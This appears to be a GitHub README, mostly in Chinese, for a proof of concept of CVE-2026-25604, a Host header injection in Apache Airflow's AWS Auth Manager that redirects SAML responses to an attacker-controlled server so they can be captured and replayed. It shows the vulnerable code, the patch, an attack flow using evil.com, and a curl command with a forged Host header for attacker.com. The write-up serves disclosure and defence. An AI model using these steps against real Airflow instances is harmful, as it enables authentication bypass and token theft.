John-Jung/CVE-2026-25604-PoC

GitHub: John-Jung/CVE-2026-25604-PoC

针对CVE-2026-25604的概念验证项目,演示了Apache Airflow AWS Auth Manager中因Host头未校验导致的SAML认证绕过漏洞的完整攻击链。

Stars: 0 | Forks: 0

# CVE-2026-25604 PoC **导致 Apache Airflow 的 AWS Auth Manager 中 SAML 身份验证绕过的 Host 头注入** 攻击者可以向 SAML 登录流程中注入恶意的 `Host` 头,导致 Assertion Consumer Service (ACS) URL 指向攻击者控制的服务器。这允许攻击者**捕获有效的 SAML 响应**,并**通过重放它们来获取对受害者 Airflow 实例的未经授权访问** —— 或者在具有不同访问控制的不同 Airflow 实例之间重用 token。 ## 受影响版本 | 包 | 受影响 | 已修复 | |---------|----------|-------| | `apache-airflow-providers-amazon` | 8.0.0 – 9.21.x | **9.22.0** | ### 官方描述 ### 参考 | 来源 | 链接 | |--------|------| | NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-25604 | | 修复 PR | https://github.com/apache/airflow/pull/61368 | | 修复 Commit | [`1a86aec`](https://github.com/apache/airflow/commit/1a86aec01d827ba8caf41b645db56663a9a61850) | ## 漏洞概述 Apache Airflow 的 AWS Auth Manager 通过 AWS IAM Identity Center 使用 SAML 2.0 进行身份验证。在构建 SAML 身份验证请求时,`_prepare_flask_request()` 方法直接从传入的 HTTP 请求中读取 `Host` 头,以构建 ACS 回调 URL: ``` # aws_auth_manager.py 中的 Vulnerable code def _prepare_flask_request(req): host = req.headers.get("Host", req.host) # <-- Attacker-controlled if ":" in host: hostname, port = host.rsplit(":", 1) else: hostname = host port = "443" if req.scheme == "https" else "80" return { "http_host": hostname, # Used to build ACS URL "server_port": port, ... } ``` 生成的 `http_host` 和 `server_port` 用于构建 SAML `AssertionConsumerService` URL。由于 Identity Provider (IdP) 信任此 URL,它会将经过身份验证的用户(连同已签名的 SAML 响应)重定向到 `Host` 头所指向的任何位置。 ### 攻击流程 ``` ┌──────────┐ ┌──────────────┐ ┌─────────────┐ │ Attacker │ │ Victim │ │ AWS IAM │ │ │ │ Airflow │ │ Identity │ │ │ │ Instance │ │ Center │ └────┬─────┘ └──────┬───────┘ └──────┬──────┘ │ │ │ │ 1. GET /login │ │ │ Host: evil.com:8080 │ │ │─────────────────────>│ │ │ │ │ │ │ 2. SAML AuthnRequest │ │ │ ACS URL = │ │ │ evil.com:8080/ │ │ │ login_callback │ │ │───────────────────────>│ │ │ │ │ │ 3. User authenticates │ │ │ at IdP login page │ │ │ │ │ 4. IdP redirects │ │ │ SAMLResponse to │<───────────────────────│ │ evil.com:8080 │ │ │<─────────────────────│ │ │ │ │ │ 5. Attacker captures │ │ │ valid SAMLResponse│ │ │ │ │ │ 6. Replay to victim │ │ │ POST /login_callback │ │ with captured │ │ │ SAMLResponse │ │ │─────────────────────>│ │ │ │ │ │ 7. Authenticated! │ │ │<─────────────────────│ │ └──────────────────────┴────────────────────────┘ ``` ### 两种利用场景 **场景 A —— 通过钓鱼窃取 Token:** 攻击者向合法用户发送精心制作的登录链接(通过反向代理伪造 `Host` 头)。在用户通过 IAM Identity Center 进行身份验证后,SAML 响应被重定向到攻击者的服务器。攻击者将其重放给真实的 Airflow 实例。 **场景 B —— 跨实例 Token 重用:** 在多租户或多实例 Airflow 环境中,来自实例 A 的有效 SAML 响应可以被重放到实例 B。由于从未针对实际实例 URL 验证其来源,因此实例 B 上不同的访问控制将被绕过。 ## 仓库结构 ``` CVE-2026-25604-PoC/ ├── README.md # This file └── mock_airflow.py # Mock vulnerable Airflow server ``` ## 前置条件 - Python 3.8+ - AWS IAM Identity Center(原 AWS SSO)且已配置 SAML 2.0 应用程序 - 可以访问 IAM Identity Center SAML 元数据 URL 的 EC2 实例或本地环境 ### 依赖 ``` pip install flask python3-saml ``` ## 复现步骤 ### 1. 配置 AWS IAM Identity Center 按照 [Airflow AWS Auth Manager 文档](https://airflow.apache.org/docs/apache-airflow-providers-amazon/stable/auth-manager/setup/identity-center.html)在 AWS IAM Identity Center 中设置 SAML 2.0 应用程序: - **应用程序 ACS URL:** `http://:/login_callback` - **应用程序 SAML audience:** `aws-auth-manager-saml-client` - 从 Identity Center 控制台复制 **SAML 元数据 URL**。 ### 2. 启动模拟的易受攻击 Airflow 服务器 ``` python mock_airflow.py [PORT] ``` 例如: ``` python mock_airflow.py https://portal.sso.us-east-1.amazonaws.com/saml/metadata/XXXX 8080 ``` ### 3. 发送带有伪造 Host 头的登录请求 在单独的终端中,使用被篡改的 `Host` 头发起 SAML 登录: ``` curl -v -H "Host: attacker.com:9090" http://127.0.0.1:8080/login ``` ### 4. 观察重定向 服务器以 `302 Redirect` 响应到 AWS IAM Identity Center 登录页面。检查 SAML `AuthnRequest` —— `AssertionConsumerService` URL 将指向 `attacker.com:9090/login_callback`,而不是合法服务器。 ### 5. 预期输出 在模拟 Airflow 服务器控制台上: ``` [LOGIN] Host header: attacker.com:9090 [DEBUG] http_host=attacker.com, server_port=9090 ``` SAML AuthnRequest 现在指示 IdP 将已认证的 SAML 响应发送到 `attacker.com:9090`,从而为攻击者提供了可用于重放的有效 token。 ## 易受攻击代码 `airflow/providers/amazon/aws/auth_manager/aws_auth_manager.py` —— `_prepare_flask_request()` 方法: ``` host = request.headers.get("Host", request.host) ``` 此行信任客户端提供的 `Host` 头,而没有根据配置的 Airflow base URL (`AIRFLOW__API__BASE_URL`) 对其进行验证。 ## 补丁 此修复([PR #61368](https://github.com/apache/airflow/pull/61368),于 2026 年 2 月 3 日合并)将请求派生的主机替换为 Airflow 配置中的值: ``` - host = request.headers.get("Host", request.host) + host = conf.get("api", "base_url") ``` 这确保了 ACS URL 始终与管理员配置的实际实例 URL 匹配,而不管客户端发送的 `Host` 头是什么。 ## 影响 - **机密性:** 攻击者获得了对 Airflow 的经过身份验证的访问权限,其中可能包含敏感的 DAG 配置、带有凭据的连接以及数据流水线元数据。 - **完整性:** 未经授权的用户可以触发、修改或删除 DAG,从而可能破坏关键的数据工作流。 - **跨实例提权:** 在多租户环境中,SAML token 可以在具有不同 RBAC 配置的实例之间重用。 ## 贡献者 - **发现者:** Sungwuk Jung - **修复者:** Vincent Beck ([@vincbeck](https://github.com/vincbeck)),Apache Airflow 安全团队 ## 免责声明 此概念验证仅用于**教育和授权安全测试目的**。请负责任地使用,并且仅在您拥有或获得明确测试许可的系统上使用。
标签:ACS URL, Apache Airflow, apache-airflow-providers-amazon, AWS Auth Manager, CISA项目, CVE-2026-25604, Host Header Injection, IAM Identity Center, PoC, SAML响应重放, SAML认证绕过, Web安全, 主机头注入, 安全漏洞, 断言消费者服务, 暴力破解, 概念验证, 蓝队分析, 认证缺陷, 身份验证绕过, 逆向工具